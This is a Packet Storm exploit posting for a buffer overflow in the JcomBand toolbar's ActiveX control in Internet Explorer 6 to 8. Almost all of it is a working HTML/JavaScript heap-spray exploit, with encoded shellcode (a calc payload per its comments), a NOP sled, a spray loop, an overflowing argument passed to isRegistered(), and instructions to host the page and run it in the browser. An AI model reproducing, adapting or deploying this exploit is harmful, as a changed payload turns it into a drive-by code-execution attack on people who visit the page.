JcomBand ActiveX Buffer Overflow

🗓️ 07 Jan 2010 00:00:00Reported by D3V!L FucK3rType

packetstorm🔗 packetstormsecurity.com👁 22 Views

JcomBand ActiveX Buffer Overflow Exploit on Internet Explore

`############################################################################################################################  
#soft: [JcomBand toolbar on Internet Explorer ActiveX Buffer Overflow Exploit]  
#Author: [germaya_x & D3V!L FUCKER]  
#Date: [2010/01/03]  
#Tested on: [Internet Explorer 6.0 ,7.0 ,8.0 (windows xp service pack2)]  
#Software Link: [http://www.always.pe.kr/ko/pds/JcomBand25.zip]  
#Version: [2.5]  
#special thanx: [for my best friend his0k4].  
#Geetz [2] :[Sarbot511 ,thrid-devil].  
#usage : [put the code of exploit in html page then run it by Internet Explorer and allow activeX to run =========>booooom!!]   
############################################################################################################################  
  
<html>  
<head>  
<title>JcomBand Exploit (heap spray) </title>  
<object classid='clsid:952E3F80-0C34-48CD-829B-A45913B29670' id='test'></object>  
<script language='javascript'>  
  
//calc from metasploit  
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  
  
nops=unescape('%u9090%u9090');  
headersize =20;  
slackspace= headersize + shellcode.length;  
  
//Filling the header of our block with nops  
while(nops.length< slackspace) nops+= nops;  
  
fillblock= nops.substring(0, slackspace);  
  
block= nops.substring(0, nops.length- slackspace);  
  
while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;  
  
//Creating new memory array.  
memory=new Array();  
  
//Filling the memory array with the nops + shellcode.  
for( counter=0; counter<300; counter++) memory[counter]= block + shellcode;  
  
// the ret is the adress of our shellcode in the heap.  
ret='%0a%0a%0a%0a';  
  
// filling our buffer with ret adress  
for( counter=0; counter<=50; counter++) ret+=unescape('%0a%0a%0a%0a');  
  
// passing the buffer argument to the vulnerable function JumpMappedID().  
test.isRegistered(ret);  
</script>  
</head>  
</html>  
  
  
`

07 Jan 2010 00:00Current

0.9Low risk

Vulners AI Score0.9